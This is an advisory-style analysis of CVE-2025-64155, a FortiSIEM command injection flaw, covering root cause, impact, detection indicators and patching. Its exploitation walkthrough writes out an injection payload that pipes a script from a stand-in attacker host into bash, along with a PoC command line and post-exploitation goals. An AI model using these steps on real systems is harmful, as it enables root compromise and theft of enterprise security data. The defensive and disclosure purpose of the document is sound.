CVE-2025-64155: 
FortiSIEM vulnerability analysis and mitigation

CVE-2025-64155 is a critical OS command injection vulnerability (CWE-78) in Fortinet FortiSIEM that allows unauthenticated remote attackers to execute arbitrary code or commands via crafted TCP requests. Affected versions include FortiSIEM 6.7.0–6.7.10, 7.0.0–7.0.4, 7.1.0–7.1.8, 7.2.0–7.2.6, 7.3.0–7.3.4, and 7.4.0; FortiSIEM 7.5 and FortiSIEM Cloud are not affected. The vulnerability was disclosed on January 13, 2026, with Fortinet crediting researcher Zach Hanley of Horizon3.ai for responsible disclosure. It carries a CVSS v3.1 base score of 9.8 (Critical) as assigned by Fortinet (Fortinet Advisory, Feedly).

The vulnerability resides in the Phoenix Monitor service (phMonitor), which listens on TCP port 7900 on FortiSIEM Super and Worker nodes (Collector nodes are not affected). The root cause is improper neutralization of user-controlled input in the cluster_url parameter of the handleStorageRequest command (command ID: 1075724911), which is passed to a shell command without sanitization, enabling argument injection via shell metacharacters (Fortinet Advisory, Horizon3.ai PoC). An attacker sends a specially crafted binary TCP message containing an XML payload with a malicious cluster_url value (e.g., http://attacker:9200 --next -o /dev/null; <command>) to exploit the injection point. No authentication, user interaction, or special privileges are required, and the injected command executes as root via a cron job approximately one minute after delivery (Horizon3.ai PoC, Tenable Blog).

Successful exploitation grants unauthenticated attackers root-level remote code execution on FortiSIEM Super and Worker nodes. Because FortiSIEM is a SIEM platform with broad visibility into enterprise security infrastructure, compromise enables attackers to access sensitive security logs and event data, pivot to monitored systems and internal infrastructure, disable or manipulate security monitoring and alerting, and establish persistent backdoor access (Fortinet Advisory, Feedly). The confidentiality, integrity, and availability impacts are all rated High, making this a complete system compromise scenario with significant lateral movement potential across the enterprise (Horizon3.ai Blog).

1. Reconnaissance: Identify internet-facing FortiSIEM Super or Worker nodes using tools like Shodan or Censys, targeting TCP port 7900 (Phoenix Monitor service). Confirm the target is running a vulnerable version (6.7.0–6.7.10, 7.0.0–7.0.4, 7.1.0–7.1.8, 7.2.0–7.2.6, 7.3.0–7.3.4, or 7.4.0).
2. Set up payload delivery: Host a malicious payload (e.g., a reverse shell script) on an attacker-controlled HTTP server. Configure the serve.py component from the Horizon3.ai PoC to serve the desired payload.
3. Craft the malicious TCP message: Construct a binary message targeting the handleStorageRequest command (command ID: 0x4018006F / 1075724911) with an XML payload containing a malicious cluster_url value such as http://attacker-ip:9200 --next -o /dev/null; curl http://attacker-ip/payload.sh | bash.
4. Send the exploit: Connect to the target's Phoenix Monitor service on TCP port 7900 (SSL/TLS) and transmit the crafted message using the exploit script: python3 CVE-2025-64155.py -t <target_ip> -p 7900.
5. Wait for cron execution: The injected command is executed by a cron job running as root approximately one minute after the payload is delivered, establishing a reverse shell or executing the attacker's chosen payload.
6. Post-exploitation: With root access on the FortiSIEM system, pivot to monitored enterprise infrastructure, exfiltrate security logs, disable alerting, or deploy persistent implants (Horizon3.ai PoC, Tenable Blog).

• Network: Unexpected inbound TCP connections to port 7900 (phMonitor) from untrusted or external IP addresses; outbound connections from the FortiSIEM server to unknown external IPs (reverse shell callbacks); unusual HTTP requests from the FortiSIEM host to external servers.
• Process: Unexpected child processes spawned by the phMonitor service or cron daemon, such as /bin/bash, curl, wget, nc, or python; root-level processes with unusual parent-child relationships.
• File System: New or modified files in FortiSIEM application directories written by the phMonitor service or root cron jobs; unexpected scripts or binaries in /tmp, /var/tmp, or application directories; new cron job entries added to root's crontab.
• Logs: FortiSIEM system logs showing handleStorageRequest commands with anomalous cluster_url values containing shell metacharacters (;, |, --next, -o); authentication logs showing unexpected root-level activity; syslog entries for unexpected process execution by cron.
• Service: Unexpected modifications to FortiSIEM configuration files or security monitoring rules; disabled or altered alerting and log forwarding configurations (Horizon3.ai PoC, Fortinet Advisory).

Fortinet has released patched versions: FortiSIEM 7.4.1 or above, 7.3.5 or above, 7.2.7 or above, and 7.1.9 or above. FortiSIEM 7.0.x and 6.7.x users must migrate to a supported fixed release as no patch is available for those branches. FortiSIEM Cloud and version 7.5 are not affected. As an immediate workaround, Fortinet recommends restricting access to the phMonitor port (TCP 7900) to trusted sources only using network-level access controls or firewall rules. Given confirmed active exploitation and the availability of public PoC code, patching should be treated as an emergency priority (Fortinet Advisory).

Horizon3.ai researcher Zach Hanley published a detailed technical blog post titled "Three Years of Remotely Rooting the Fortinet FortiSIEM," highlighting that the vulnerability class had persisted across multiple FortiSIEM versions for an extended period (Horizon3.ai Blog). The vulnerability received broad coverage from major security outlets including BleepingComputer, Dark Reading, The Hacker News, and Tenable, with particular alarm raised over the speed of exploitation following patch release (BleepingComputer, Tenable Blog). Government cybersecurity agencies including Belgium's CCB, Singapore's CSA, and Australia's WA SOC issued advisories urging immediate patching. Reports of attackers apparently bypassing the initial patch generated additional concern in the security community (Heise, BankInfoSecurity). The Emerging Threats ruleset was updated on January 14, 2026 to include detection signatures for this vulnerability.